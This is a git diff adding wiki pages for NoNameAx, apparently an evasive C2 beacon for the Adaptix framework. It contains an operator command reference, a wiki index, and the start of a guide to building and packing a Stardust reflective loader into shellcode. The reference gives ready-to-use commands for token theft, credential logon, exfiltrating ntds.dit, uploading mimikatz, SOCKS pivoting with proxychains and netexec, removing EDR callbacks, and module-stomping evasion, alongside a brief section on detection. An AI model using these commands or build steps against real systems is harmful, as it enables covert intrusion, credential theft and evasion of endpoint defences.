`src_loader/src/Main.c` | `Main()` - header parsing, API resolution, dispatch to stomp or alloc | +| `src_loader/src/PreMain.c` | `PreMain()` - Stardust bootstrap (TLS, heap, instance) | +| `src_loader/include/Defs.h` | NaxHeader v2 layout, technique defines, flag constants | +| `src_loader/include/Loader.h` | Function prototypes (conditionally compiled per mode) | +| `scripts/pack_nax.py` | Build-time packer: assembles loader + header + beacon + unwind data | +| `Makefile` | Top-level build: technique selection, DLL name, pack flags | + +## Detection Considerations + +Module stomping is not invisible. Defenders can look for: + +- **Modified DLL .text hash** - The on-disk `.text` section content will not match the in-memory content. Tools that compare mapped DLL sections against their on-disk counterparts (e.g., `pe-sieve`, Moneta) can detect the discrepancy. +- **Unusual DLL loads** - Loading `chakra.dll` or `mshtml.dll` in a process that has no reason to use those libraries is anomalous. DLL selection should match the target process context. +- **Load without initialization** - `DONT_RESOLVE_DLL_REFERENCES` leaves the DLL's import table unresolved. Deep inspection of the IAT shows NULL entries where resolved function pointers should be. +- **.pdata mismatch** - If unwind stomping is disabled, the `.pdata` section still describes the original DLL's functions while `.text` contains entirely different code. + +The .pdata stomping feature (`STOMP_PDATA=1`) specifically addresses the last point by replacing the exception metadata with valid entries for the beacon, enabling clean stack walks that match the actual code in `.text`. diff --git a/wiki/Operator-Reference.md b/wiki/Operator-Reference.md new file mode 100644 index 0000000..1a651a8 --- /dev/null +++ b/wiki/Operator-Reference.md @@ -0,0 +1,820 @@ +# Operator Reference + +Quick-reference for all NoNameAx (NaX) beacon commands available in the Adaptix operator console. + +--- + +## Command Summary + +| Command | ID | Category | Description | +|---------|----|----------|-------------| +| `whoami` | `0x10` | Recon | Current Windows identity | +| `sleep` | `0x11` | Config | Set callback interval and jitter | +| `terminate thread` | `0x12` | Session | Exit beacon thread only | +| `terminate process` | `0x13` | Session | Kill entire host process | +| `cd` | `0x14` | Navigation | Change working directory | +| `pwd` | `0x15` | Navigation | Print working directory | +| `mkdir` | `0x16` | File Ops | Create directory | +| `rmdir` | `0x17` | File Ops | Remove directory | +| `cat` | `0x18` | File Ops | Read file contents | +| `ls` | `0x19` | Navigation | List directory contents | +| `bof` | `0x20` | Execution | Execute a Beacon Object File | +| `execute bof` | `0x20` | Execution | Execute BOF (Extension-Kit compatible) | +| `screenshot` | `0x21` | Recon | GDI desktop capture | +| `download` | `0x22` | File Ops | Download file from target | +| `ps list` | `0x23` | Process | List running processes | +| `ps kill` | `0x24` | Process | Terminate process by PID | +| `ps run` | `0x25` | Process | Run a new program | +| `upload` | `0x26` | File Ops | Upload file to target | +| `rm` | `0x27` | File Ops | Delete a file | +| `job list` | `0x28` | Execution | List active async BOF jobs | +| `job kill` | `0x29` | Execution | Kill an async BOF job | +| `token getuid` | `0x50` | Token | Current effective identity | +| `token steal` | `0x51` | Token | Duplicate token from a running process | +| `token use` | `0x52` | Token | Impersonate a stored token by ID | +| `token list` | `0x53` | Token | List all tokens in the store | +| `token rm` | `0x54` | Token | Remove a token from the store | +| `token revert` | `0x55` | Token | Drop impersonation, revert to process token | +| `token make` | `0x56` | Token | Create token from credentials | +| `token privs` | `0x57` | Token | List privileges on the current token | +| `profile` | `0x30` | Config | Update malleable C2 profile at runtime | +| `bof-stomp` | `0x31` | Config | Reconfigure BOF module stomping | +| `sleepmask-set` | `0x32` | Config | Rebuild and send sleepmask BOF to agent | +| `sleepobf-config` | `0x33` | Config | Configure sleep obfuscation at runtime | +| `chunksize` | `0x34` | Config | Set download chunk size on agent | +| `dll-notify list` | `0x3A` | Evasion | List DLL load notification callbacks | +| `dll-notify remove` | `0x3B` | Evasion | Remove all DLL load notification callbacks | +| `link smb` | `0x38` | Pivoting | Connect to child beacon's named pipe | +| `unlink` | `0x39` | Pivoting | Disconnect a linked child beacon | +| `socks start` | -- | Tunneling | Start SOCKS4/5 proxy | +| `socks stop` | -- | Tunneling | Stop SOCKS proxy | +| `lportfwd` | -- | Tunneling | Local port forwarding (via Adaptix UI) | +| `rportfwd` | -- | Tunneling | Reverse port forwarding (via Adaptix UI) | + +--- + +## Navigation + +### cd + +Change the beacon's working directory. All relative paths in subsequent commands resolve from this directory. + +``` +cd +``` + +``` +cd C:\Users\Public\Documents +cd ..\Downloads +``` + +### pwd + +Print the beacon's current working directory. + +``` +pwd +``` + +### ls + +List the contents of a directory. Defaults to the current working directory if no path is given. Output is a structured table rendered by the Adaptix UI. + +``` +ls [path] +``` + +``` +ls +ls C:\Windows\Temp +``` + +--- + +## File Operations + +### cat + +Read and display the contents of a file. Best suited for text files; for binaries, use `download`. + +``` +cat +``` + +``` +cat C:\Users\admin\Desktop\notes.txt +cat ..\..\flag.txt +``` + +### rm + +Delete a single file. + +``` +rm +``` + +``` +rm C:\Temp\payload.exe +``` + +### mkdir + +Create a new directory. Parent directories must already exist. + +``` +mkdir +``` + +``` +mkdir C:\Temp\staging +``` + +### rmdir + +Remove a directory. The directory must be empty. + +``` +rmdir +``` + +``` +rmdir C:\Temp\staging +``` + +### download + +Download a file from the target machine to the operator. The file appears in the Adaptix Downloads tab. Files are transferred in a single tagged frame (filename + contents). + +``` +download +``` + +``` +download C:\Users\admin\Desktop\secrets.kdbx +download C:\Windows\NTDS\ntds.dit +``` + +On failure, the beacon returns the Win32 error code (e.g., `ERROR_FILE_NOT_FOUND`, `ERROR_ACCESS_DENIED`). + +### upload + +Upload a file from the operator machine to a path on the target. The Adaptix UI opens a file picker for the local file. + +``` +upload +``` + +``` +upload /opt/tools/mimikatz.exe C:\Temp\m.exe +``` + +--- + +## Process Operations + +### ps list + +Enumerate all running processes. Output is a tree view with the following columns: + +| Column | Description | +|--------|-------------| +| PID | Process ID | +| PPID | Parent process ID | +| Arch | x86 or x64 (via `ProcessWow64Information`) | +| Session | Terminal Services session ID | +| User | `DOMAIN\username` (via token query) | +| Elevated | Whether the process token is elevated | +| Name | Executable name | + +``` +ps list +``` + +The process browser can also be opened from the right-click context menu on a session. + +### ps kill + +Terminate a process by PID. Uses `NtOpenProcess` + `NtTerminateProcess`. + +``` +ps kill +``` + +``` +ps kill 4832 +``` + +### ps run + +Launch a new process via `CreateProcessA`. The process is created with `CREATE_NO_WINDOW` and `SW_HIDE` by default. + +``` +ps run [-s] [-o] [-i] [args] +``` + +| Flag | Description | +|------|-------------| +| `-s` | Create the process suspended (`CREATE_SUSPENDED`). Useful for process injection -- the PID is returned before the process runs. | +| `-o` | Capture stdout/stderr and return output to the operator. Waits up to 10 seconds for the process to finish. Cannot combine with `-s`. | +| `-i` | Reserved for future use (impersonation token). | + +``` +ps run cmd.exe /c dir C:\Users +ps run -o cmd.exe /c whoami /all +ps run -s notepad.exe +ps run -s -o cmd.exe /c ipconfig /all +``` + +When `-o` is used without `-s`, the beacon creates an anonymous pipe, attaches it to the child's stdout/stderr, waits for the process to exit (10s timeout), and reads all available output. + +When `-s` is used, the process is created suspended and the PID is returned. No output capture occurs in suspended mode, even if `-o` is also specified. + +--- + +## Recon + +### whoami + +Return the current Windows identity in `DOMAIN\username` format via `GetUserNameW` (ADVAPI32). + +``` +whoami +``` + +### screenshot + +Capture the primary desktop using GDI (`BitBlt`) and return the image as a BMP. The screenshot appears in the Adaptix Screenshots tab. + +``` +screenshot +``` + +--- + +## Token Operations + +NaX supports Windows access token manipulation for impersonation and lateral movement. See [Token Commands](Token-Commands.md) for full wire format details. + +### token getuid + +Return the current effective identity. Shows the impersonated user if impersonating, otherwise the process token user. + +``` +token getuid +``` + +### token steal + +Duplicate a token from a target process. Optionally impersonate it immediately. + +``` +token steal [impersonate] +``` + +``` +token steal 4832 +token steal 4832 true +``` + +### token use + +Impersonate a previously stored token by its numeric ID. + +``` +token use +``` + +``` +token use 1 +``` + +### token list + +List all tokens currently in the store (ID, Handle, User, Domain). + +``` +token list +``` + +### token rm + +Remove a token from the store and close its handle. + +``` +token rm +``` + +### token revert + +Drop impersonation and revert to the process token. + +``` +token revert +``` + +### token make + +Create a new token from plaintext credentials. Supports multiple logon types. + +``` +token make [-t ] +``` + +| Type | Description | +|------|-------------| +| `interactive` | Full logon, token shows actual user | +| `network` | Network-only logon | +| `network_cleartext` | Network with credential delegation (Kerberos double-hop) | +| `new_credentials` | (Default) Network-only credentials, local SID unchanged | + +``` +token make sevenkingdoms.local cersei.lannister il0vejaime +token make -t interactive CORP admin P@ssw0rd! +``` + +### token privs + +List all privileges on the current effective token (Privilege Name, Enabled/Disabled). + +``` +token privs +``` + +--- + +## BOF Execution + +NaX supports Beacon Object File (COFF .o) execution in two modes: synchronous (blocks the beacon thread) and asynchronous (runs in a thread pool worker). + +### Direct BOF + +The `bof` command uploads and executes a COFF object file. + +``` +bof [args] +``` + +Args are specified as comma-separated `type:value` pairs: + +``` +bof /path/to/enum_users.x64.o str:CORP,int:1 +``` + +### Extension-Kit BOF (execute bof) + +The `execute bof` syntax is compatible with Adaptix Extension-Kit scripts. The AxScript PreHook handles argument packing via `ax.bof_pack()`. + +``` +execute bof [-a] [-t ] [packed_args] +``` + +| Flag | Description | +|------|-------------| +| `-a` | Run asynchronously in the beacon's thread pool | +| `-t ` | Watchdog timeout in seconds (default: 60). The job is killed if it exceeds this. Only meaningful with `-a`. | + +``` +execute bof /opt/bofs/whoami.x64.o +execute bof -a /opt/bofs/portscan.x64.o +execute bof -a -t 120 /opt/bofs/kerb_enum.x64.o +``` + +### BOF Argument Pack Types + +When Extension-Kit scripts call `ax.bof_pack()`, these type specifiers are available: + +| Type | Description | +|------|-------------| +| `bytes` | Raw byte buffer | +| `int` | 32-bit integer (little-endian) | +| `short` | 16-bit integer (little-endian) | +| `cstr` | ANSI string (null-terminated) | +| `wstr` | Wide string (UTF-16LE, null-terminated) | + +### BOF Output + +BOF results include a module stomping status prefix: + +- `[stomp: chakra.dll]` -- BOF was executed from image-backed memory (the named DLL's .text section) +- `[stomp: private fallback]` -- stomping was unavailable; BOF ran from a private allocation + +BOFs can produce text output, screenshots (via `BeaconOutput`-style APIs), and file downloads, all multiplexed into a single compound result frame. + +### Sync vs Async + +**Sync** (`bof` or `execute bof` without `-a`): The BOF runs on the beacon's main thread. The beacon blocks until the BOF returns. Use for fast, reliable operations. + +**Async** (`execute bof -a`): The BOF runs in a thread pool worker. The beacon continues its heartbeat loop and collects results on subsequent check-ins. Use for long-running BOFs (port scans, Kerberos enumeration). Manage running jobs with `job list` and `job kill`. + +--- + +## Job Management + +Async BOFs run as background jobs. These commands manage them. + +### job list + +List all active async BOF jobs, showing task ID and status. + +``` +job list +``` + +### job kill + +Kill a running async BOF job by its task ID. + +``` +job kill +``` + +``` +job kill a1b2c3d4 +``` + +The task ID is the hex identifier shown by `job list` and in the task output when the async BOF was queued. + +--- + +## SMB Pivoting + +NaX supports parent-child beacon chaining over SMB named pipes. A parent HTTP beacon connects to a child SMB beacon's pipe, and all C2 traffic for the child routes through the parent's HTTP channel. + +### link smb + +Connect to a child beacon's named pipe on a target host. + +``` +link smb +``` + +| Argument | Description | +|----------|-------------| +| `target` | Hostname or IP of the machine running the SMB beacon | +| `pipename` | Pipe name the child beacon is listening on (without the `\\.\pipe\` prefix) | + +``` +link smb DC01 naxsmb +link smb 10.0.0.5 naxsmb +``` + +On success, the parent reads the child's initial registration beat from the pipe and forwards it to the teamserver. The child then appears as a linked agent in the Adaptix UI. + +### unlink + +Disconnect a linked child beacon. The child stops receiving tasks and the pipe is closed. The child's heartbeat loop will eventually timeout on the pipe and exit gracefully. + +``` +unlink +``` + +``` +unlink a1b2c3d4 +``` + +The pivot ID is the hex value shown when the link was established. + +### How Pivoting Works + +1. An SMB beacon is deployed on the target and listens on its named pipe. +2. The operator runs `link smb ` on the parent HTTP beacon. +3. The parent opens the pipe with `CreateFileA` in overlapped mode and reads the child's registration frame. +4. The teamserver registers the child as a linked agent. +5. On each heartbeat, the parent runs `NaxProcessPivots` to poll all linked pipes for pending data and forward it to the teamserver. +6. Tasks for the child are delivered to the parent via `CMD_PIVOT_EXEC`, which writes them to the child's pipe. + +--- + +## TCP Tunneling + +NaX supports local and reverse port forwarding through the Adaptix tunnel system. Tunnels are managed from the Adaptix UI (right-click agent > Access > Tunnels), not via beacon console commands. + +### Local Port Forwarding (lportfwd) + +The teamserver listens on a local port. Connections are relayed through the beacon to a target host/port on the internal network. + +``` +Operator tool -> server:lport -> beacon -> target:tport +``` + +1. In the Adaptix UI, right-click the agent and select **Access > Tunnels** +2. Create a new **Local Port Forward** +3. Specify the local listen port, target host, and target port +4. Start the tunnel + +Example: forward local port 445 through the beacon to `10.0.0.5:445`, then run `netexec smb localhost` to access the remote SMB service. + +### Reverse Port Forwarding (rportfwd) + +The beacon listens on a port on the target machine. Remote connections are relayed back through the C2 to an operator-specified destination. + +``` +Remote client -> beacon:lport -> server -> operator target:tport +``` + +1. Create a new **Reverse Port Forward** in the tunnel UI +2. Specify the remote listen port, and the local target host/port +3. Start the tunnel + +The beacon binds to `127.0.0.1` only (loopback) for OPSEC -- it does not bind `0.0.0.0`. + +### SOCKS Proxy + +Start a SOCKS4 or SOCKS5 proxy server on the teamserver. All TCP connections through the proxy are relayed through the beacon to the target network. The Adaptix server handles the SOCKS protocol handshake; the beacon only sees standard TCP tunnel commands. + +``` +socks start [-h
] [-socks4] [-auth ] +socks stop +``` + +| Argument | Description | +|----------|-------------| +| `-h
` | Listening interface (default: `0.0.0.0`) | +| `port` | Listen port | +| `-socks4` | Use SOCKS4 instead of SOCKS5 | +| `-auth` | Enable username/password auth (SOCKS5 only) | +| `username` | Auth username (required with `-auth`) | +| `password` | Auth password (required with `-auth`) | + +``` +socks start 1080 # SOCKS5, no auth, 0.0.0.0:1080 +socks start -h 127.0.0.1 9050 # SOCKS5, loopback only +socks start 1080 -socks4 # SOCKS4 +socks start 1080 -auth operator s3cret # SOCKS5 with credentials +socks stop 1080 # Stop proxy +``` + +Configure proxychains to use the proxy: + +```bash +echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf +proxychains nmap -sT -p 445 10.0.0.0/24 +proxychains netexec smb 10.0.0.5 -u admin -p Password1 +``` + +### Transport Support + +Tunnels work on both HTTP and SMB transports: + +- **HTTP beacon**: Tunnel data is sent/received as part of the regular heartbeat cycle. At sleep 0, tunnels operate at network speed. +- **SMB beacon (linked)**: Tunnel data flows through the parent agent's pipe. The parent relays tunnel tasks and results alongside regular pivot traffic. Tunnel polling runs at 100ms intervals. + +### OPSEC Notes + +- `ws2_32.dll` is loaded lazily on the first tunnel command -- never imported statically +- All sockets are non-blocking (`FIONBIO`) +- rportfwd binds loopback only (`127.0.0.1`) +- Flow control prevents memory exhaustion: PAUSE at 4MB output, RESUME at 1MB, force close at 16MB + +--- + +## Configuration + +### sleep + +Set the beacon's callback interval and optional jitter percentage. + +``` +sleep [jitter%] +``` + +| Argument | Description | +|----------|-------------| +| `seconds` | Callback interval in seconds | +| `jitter%` | Random variance added to each sleep cycle (0-100). Optional, defaults to 0. | + +``` +sleep 60 +sleep 60 30 +sleep 5 0 +``` + +Jitter introduces randomness to avoid periodic beacon detection. With `sleep 60 30`, the actual interval on each cycle is randomly chosen between 42 and 78 seconds (60 +/- 30%). + +The jitter value is clamped to a maximum of 100%. + +### profile + +Update the beacon's malleable C2 profile at runtime without regenerating the payload. The operator selects a JSON profile file from their local machine; the AxScript PreHook base64-encodes it and sends it to the beacon. + +``` +profile +``` + +``` +profile /opt/NaX/profiles/jquery-stealth.json +``` + +When a profile is applied: + +1. The beacon parses the new profile and reconfigures its HTTP headers, URIs, and encoding pipeline. +2. The listener is also updated (via `TsExtenderData`) so it can decode the new traffic format. +3. All subsequent heartbeats and results use the new profile. + +Profile files follow the same JSON schema as `profiles/*.json` in the NaX repository. This command is only available on HTTP beacons (disabled for SMB transport). + +### bof-stomp + +Reconfigure BOF module stomping at runtime. BOF stomping loads BOF code into a sacrificial DLL's `.text` section (image-backed memory) instead of a private allocation, evading executable-private-memory detection. + +#### bof-stomp show + +Display the current stomping configuration: enabled/disabled status, sync DLL name and `.text` capacity, and async DLL pool with slot usage. + +``` +bof-stomp show +``` + +Example output: + +``` +BOF Stomping: enabled +Sync DLL: chakra.dll (.text cap=1245184) +Async DLLs: 3 + [0] jscript9.dll (.text cap=892928) + [1] mshtml.dll (.text cap=2097152) + [2] d3d11.dll (.text cap=524288) +``` + +#### bof-stomp sync + +Replace the DLL used for synchronous BOF execution. The beacon unloads the current DLL and loads the new one with `LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES)`. + +``` +bof-stomp sync +``` + +``` +bof-stomp sync mshtml.dll +bof-stomp sync mstscax.dll +``` + +#### bof-stomp async + +Replace the entire async DLL pool. Existing idle slots are unloaded; in-use slots are preserved until the BOF completes. The new DLLs are loaded and added to the pool. + +``` +bof-stomp async +``` + +``` +bof-stomp async jscript9.dll,mshtml.dll,d3d11.dll,chakra.dll +``` + +Each DLL in the pool provides one async execution slot. More DLLs means more concurrent async BOFs. + +### sleepmask-set + +Rebuild the sleepmask BOF from source and send it to the agent. The beacon loads the new BOF via `NaxBofLoadResident` (module-stomped into the dedicated SmSlot DLL), unwires the old gate, and rewires all BeaconGate function pointers to route through the new `sleep_mask()` entry point. + +This lets you iterate on sleepmask logic (e.g., adding debug prints, changing wait behavior) without recompiling or redeploying the beacon. The server runs `make clean && make` in `src_sleepmask/` on every invocation, so any source changes you make are picked up automatically. + +``` +sleepmask-set [-debug] +``` + +| Flag | Description | +|------|-------------| +| `-debug` | Build with `-DDEBUG` so the sleepmask BOF emits `NaxDbg` prints | + +``` +sleepmask-set # rebuild release, send to agent +sleepmask-set -debug # rebuild with debug output, send to agent +``` + +The beacon must have been built with BeaconGate enabled for the gate wrappers to exist. Sending a sleepmask BOF to a beacon built without BeaconGate will load the BOF but never call it (no gate wrappers to route through). + +### sleepobf-config + +Toggle sleep obfuscation at runtime. When enabled, the sleepmask BOF intercepts Sleep calls via BeaconGate and replaces them with `NtWaitForSingleObject` on a dummy event. + +``` +sleepobf-config {sleep_obf} +``` + +| Argument | Values | Description | +|----------|--------|-------------| +| `sleep_obf` | `on` / `off` | Enable or disable sleep obfuscation | + +``` +sleepobf-config on # enable WFSO sleep obfuscation +sleepobf-config off # disable, use plain Sleep() +``` + +Changes take effect on the next sleep cycle. + +### chunksize + +Set the download chunk size on the agent. Controls how much data the beacon sends per heartbeat cycle during file downloads. Larger chunks mean fewer round-trips but larger POST bodies. + +``` +chunksize {size} +``` + +Size accepts human-readable units: `512KB`, `1MB`, `2MB`, or raw byte counts. Minimum 4KB, maximum 4MB. + +``` +chunksize 2MB +chunksize 512KB +chunksize 1048576 +``` + +### dll-notify + +Manage DLL load notification callbacks registered via `LdrRegisterDllNotification`. EDR products register these callbacks to monitor DLL loading in every process. NaX automatically removes all callbacks at startup (when built with `NAX_UNHOOK_DLL_NOTIFY`), but these commands let you inspect and re-remove callbacks at runtime (e.g., if an EDR re-registers after initial unhooking). + +#### dll-notify list + +List all currently registered DLL notification callbacks. + +``` +dll-notify list +``` + +#### dll-notify remove + +Remove all registered DLL notification callbacks. + +``` +dll-notify remove +``` + +--- + +## Session Termination + +### terminate thread + +Exit only the beacon thread via `RtlExitUserThread`. The host process remains alive. Use this for clean disengagement when the beacon was injected into a legitimate process. + +``` +terminate thread +``` + +No result is returned (the thread exits immediately before sending a response). + +### terminate process + +Kill the entire host process via `ExitProcess`. This is a hard stop -- all threads in the process are terminated. + +``` +terminate process +``` + +No result is returned. Also available from the right-click context menu on a session. + +--- + +## Generation UI Options + +When generating a new NaX beacon in the Adaptix UI, the following options are presented: + +| Option | Default | Notes | +|--------|---------|-------| +| Callback Host | `192.168.77.128` | C2 server IP/hostname (HTTP only) | +| Callback Port | `8080` | C2 server port (HTTP only) | +| Sleep (seconds) | `10` | Initial callback interval (HTTP only) | +| Jitter (%) | `0` | Initial jitter percentage (HTTP only) | +| Module stomping | Enabled | Load beacon into image-backed memory | +| Stomp DLL | `chakra.dll` | Sacrificial DLL for loader module stomping | +| Unwind (.pdata) | Enabled | Stomp `.pdata` for valid stack walks | +| Thread pool | Enabled | Use `TppWorkerThread` as start address | +| BOF stomping | Enabled | Image-backed BOF `.text` execution | +| BOF sync DLL | `chakra.dll` | DLL for synchronous BOF stomping | +| BOF async DLLs | `jscript9.dll`, `mshtml.dll`, `d3d11.dll` | Pool for async BOF stomping | +| Debug | Disabled | Enable `DPRINT` output (visible in DebugView) | +| Full rebuild | Enabled | Clean + recompile all sources | + +HTTP-specific options (sleep, jitter, callback host/port) are hidden for SMB beacon generation. + +--- + +## Error Handling + +Most commands return a status byte: + +| Status | Code | Meaning | +|--------|------|---------| +| OK | `0x00` | Command succeeded | +| ERR | `0x01` | Command failed -- result data may contain a Win32 error code | +| ASYNC | `0x10` | Async job queued -- results delivered on future check-ins | + +When a command fails, the Adaptix UI displays the Win32 error name when possible (e.g., `ERROR_FILE_NOT_FOUND`, `ERROR_ACCESS_DENIED`). + +--- + +## Wire Protocol Reference + +For developers extending NaX, command IDs are defined in `src_beacon/include/Wire.h` and must stay in sync with: + +- `src_server/agent_nonameax/pl_wire.go` (Go constants) +- `src_server/agent_nonameax/pl_commands.go` (command packing) +- `src_server/agent_nonameax/ax_config.axs` (AxScript registration) + +New commands follow this pattern: + +1. Define `NAX_CMD_YOURNAME` in `Wire.h` +2. Implement `CmdYourName()` in `src_beacon/src/Commands/YourName.c` +3. Add the `case` to `Dispatch.c` +4. Register in `ax_config.axs` and handle in `pl_commands.go` diff --git a/wiki/README.md b/wiki/README.md new file mode 100644 index 0000000..de234d2 --- /dev/null +++ b/wiki/README.md @@ -0,0 +1,32 @@ +# NoNameAx (NaX) Wiki + +Position-independent C2 beacon for the [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) with module stomping, malleable C2 profiles, BOF execution, and a Stardust-pattern UDRL loader. + +## Pages + +### Core Documentation +- **[Beacon Architecture](Beacon-Architecture.md)** -- NAX_INSTANCE, bootstrap, heartbeat loop, command dispatch +- **[Wire Protocol](Wire-Protocol.md)** -- Frame format, message types, command IDs +- **[Malleable C2 Profiles](Malleable-C2-Profiles.md)** -- OutputConfig encoding pipeline, profile JSON format, runtime switching +- **[Module Stomping](Module-Stomping.md)** -- Loader-phase beacon stomping, DLL selection, LDR patching, stack unwinding + +### BOF System +- **[BOF Execution](BOF-Execution.md)** -- COFF loader, sync vs async dispatch, thread pool, media callbacks +- **[BOF Module Stomping](BOF-Module-Stomping.md)** -- Image-backed BOF .text, near-allocator, .pdata injection, backup/restore + +### Evasion +- **[BeaconGate & Sleepmask](BeaconGate-Sleepmask.md)** -- API call proxy, WFSO PoC sleepmask, extensible gate architecture + +### Post-Exploitation +- **[Token Commands](Token-Commands.md)** -- Token theft, impersonation, credential logon, privilege listing + +### Networking +- **[Tunneling](Tunneling.md)** -- Local/reverse port forwarding, wire protocol, OPSEC, flow control, SMB transport support + +### Extending NaX +- **[Adding Commands](Adding-Commands.md)** -- End-to-end walkthrough: Wire.h to AxScript +- **[Stardust Loader Guide](Stardust-Loader-Guide.md)** -- How the UDRL works, how to write your own from scratch following ZPS course material + +### Operations +- **[Build and Deploy](Build-and-Deploy.md)** -- Prerequisites, build commands, server plugin deployment, Adaptix setup +- **[Operator Reference](Operator-Reference.md)** -- All commands: navigation, file ops, recon, tokens, BOF, pivoting, tunneling, runtime config (sleep, profile, bof-stomp, sleepmask-set, sleepobf-config, chunksize, dll-notify) diff --git a/wiki/Stardust-Loader-Guide.md b/wiki/Stardust-Loader-Guide.md new file mode 100644 index 0000000..c9bcfde --- /dev/null +++ b/wiki/Stardust-Loader-Guide.md @@ -0,0 +1,1473 @@ +# Stardust Loader Guide + +This page documents the NaX UDRL (User-Defined Reflective Loader) architecture and walks through building a Stardust-based loader from scratch. It is written as a companion to the [ZeroPoint Security UDRL course](https://training.zeropointsecurity.co.uk/) - if you are following that material, this page explains how NaX maps each concept into production code and what you need to change to make a custom loader work with the NaX beacon. + +## Table of Contents + +- [Quickstart: Compile, Pack, and Run](#quickstart-compile-pack-and-run) + - [Prerequisites](#prerequisites) + - [Step 1: Build the Beacon](#step-1-build-the-beacon) + - [Step 2: Build the Loader](#step-2-build-the-loader) + - [Step 3: Pack Into Final Shellcode](#step-3-pack-into-final-shellcode) + - [Step 4: Run on Target](#step-4-run-on-target) + - [What Happens at Runtime](#what-happens-at-runtime) + - [Build Shortcuts](#build-shortcuts) + - [Using Stock Stardust as a Loader (Minimal PoC)](#using-stock-stardust-as-a-loader-minimal-poc) +- [What is Stardust?](#what-is-stardust) +- [Memory Layout at Runtime](#memory-layout-at-runtime) +- [Source Tree](#source-tree) +- [Section Ordering and the Linker Script](#section-ordering-and-the-linker-script) +- [Execution Flow](#execution-flow) + - [Stage 0: Entry.asm](#stage-0-entryasm) + - [Stage 1: PreMain.c](#stage-1-premainc) + - [Stage 2: Main.c](#stage-2-mainc) +- [The INSTANCE Struct](#the-instance-struct) + - [Why TLS Instead of a Global Section](#why-tls-instead-of-a-global-section) + - [The Egghunter Pattern](#the-egghunter-pattern) + - [STARDUST_INSTANCE Retrieval](#stardust_instance-retrieval) +- [API Resolution](#api-resolution) + - [LdrModulePeb - PEB Walk](#ldrmodulepeb--peb-walk) + - [LdrFunction - Export Table Walk](#ldrfunction--export-table-walk) + - [Forwarded Exports](#forwarded-exports) + - [Compile-Time Hashing](#compile-time-hashing) + - [D_API / RESOLVE Macros](#d_api--resolve-macros) +- [NaxHeader v2](#naxheader-v2) + - [Header Layout](#header-layout) + - [Locating the Header](#locating-the-header) + - [v1 Fallback](#v1-fallback) +- [Technique Dispatch](#technique-dispatch) + - [VirtualAlloc Path](#virtualalloc-path) + - [Module Stomp Path](#module-stomp-path) + - [Execution Transfer](#execution-transfer) +- [Build System](#build-system) + - [Toolchain](#toolchain) + - [Compiler Flags](#compiler-flags) + - [Build Pipeline](#build-pipeline) + - [Packing (pack_nax.py)](#packing-pack_naxpy) +- [Writing Your Own Loader from Scratch](#writing-your-own-loader-from-scratch) + - [Step 1: Assembly Entry Point](#step-1-assembly-entry-point) + - [Step 2: PEB Walk and Module Resolution](#step-2-peb-walk-and-module-resolution) + - [Step 3: TLS Egghunter for Global State](#step-3-tls-egghunter-for-global-state) + - [Step 4: Build the INSTANCE Struct](#step-4-build-the-instance-struct) + - [Step 5: Export Table Walk with Forwarding](#step-5-export-table-walk-with-forwarding) + - [Step 6: Parse NaxHeader v2](#step-6-parse-naxheader-v2) + - [Step 7: VirtualAlloc Execution (Simplest Path)](#step-7-virtualalloc-execution-simplest-path) + - [Step 8: Module Stomping](#step-8-module-stomping) + - [Step 9: .pdata/.xdata Unwind Stomping](#step-9-pdataxdata-unwind-stomping) + - [Step 10: Thread Pool Execution Transfer](#step-10-thread-pool-execution-transfer) + - [Step 11: Remove Build Padding](#step-11-remove-build-padding) +- [PIC Rules Reference](#pic-rules-reference) +- [Debugging Tips](#debugging-tips) +- [Test Harnesses](#test-harnesses) + +--- + +## Quickstart: Compile, Pack, and Run + +This section walks through the fastest path from source to running beacon: build the beacon, build the loader, pack them together, and execute the final shellcode on a Windows target. Uses VirtualAlloc + CreateThread - no module stomping, no thread pool - the simplest path to get executing. + +### Prerequisites + +Install the cross-compilation toolchain on Kali/Debian: + +```bash +sudo apt install mingw-w64 nasm binutils python3 +``` + +Verify you have: + +```bash +x86_64-w64-mingw32-gcc --version # beacon cross-compiler +x86_64-w64-mingw32-g++ --version # loader cross-compiler (C++ for constexpr hashing) +nasm --version # assembler for Entry.asm / Stardust.asm +objcopy --version # extracts raw .text from linked PEs +python3 --version # packer script (pack_nax.py) +``` + +### Step 1: Build the Beacon + +The beacon is a standalone PIC shellcode blob compiled from `src_beacon/`. It produces a raw `.text` section extraction: + +```bash +cd +make beacon +``` + +This compiles all beacon source files with MinGW, links them with a custom linker script, then uses `objcopy --dump-section .text` to extract the raw shellcode. The outputs land in `src_beacon/build/http/`: + +``` +src_beacon/build/http/ + beacon.x64.bin # raw beacon shellcode (.text bytes) + beacon.pdata.bin # .pdata section (RUNTIME_FUNCTION entries) + beacon.xdata.bin # .xdata section (UNWIND_INFO structures) + beacon.text_rva # text file containing the beacon's .text RVA (for unwind fixup) +``` + +For a debug build (includes `AllocConsole` + debug output): + +```bash +make -C src_beacon debug +``` + +**Before building:** The beacon embeds its C2 configuration at compile time via `src_beacon/include/Config.h`. This file is generated by the Adaptix server plugin (`src_server/agent_nonameax/`) during payload generation. For standalone testing, you can edit it manually - it contains the C2 URL, sleep time, jitter, and malleable profile bytes. + +### Step 2: Build the Loader + +The loader is a Stardust-pattern PIC shellcode that finds the beacon appended after itself, allocates memory, copies the beacon in, and transfers execution. + +```bash +make loader +``` + +For the simplest path (VirtualAlloc + CreateThread), override the technique defaults: + +```bash +make loader NAX_STOMP_MODE=0 NAX_EXEC_MODE=0 +``` + +| Variable | Value | Effect | +|----------|-------|--------| +| `NAX_STOMP_MODE=0` | VirtualAlloc | Allocates private RW memory, copies beacon, flips to RX | +| `NAX_STOMP_MODE=1` | Module Stomp (default) | Loads a sacrificial DLL, stomps its .text with the beacon | +| `NAX_EXEC_MODE=0` | CreateThread | Starts beacon on a new thread (start addr = beacon entry) | +| `NAX_EXEC_MODE=1` | Thread Pool (default) | Runs beacon as TpWork item (start addr = TppWorkerThread) | + +Output: `src_loader/bin/nax_loader.x64.bin` - the raw loader shellcode. + +### Step 3: Pack Into Final Shellcode + +The packer script (`scripts/pack_nax.py`) concatenates the loader, a 160-byte NaxHeader v2, and the beacon into a single shellcode blob: + +```bash +python3 scripts/pack_nax.py \ + --loader src_loader/bin/nax_loader.x64.bin \ + --beacon src_beacon/build/http/beacon.x64.bin \ + --pdata src_beacon/build/http/beacon.pdata.bin \ + --xdata src_beacon/build/http/beacon.xdata.bin \ + --text-rva src_beacon/build/http/beacon.text_rva \ + --output 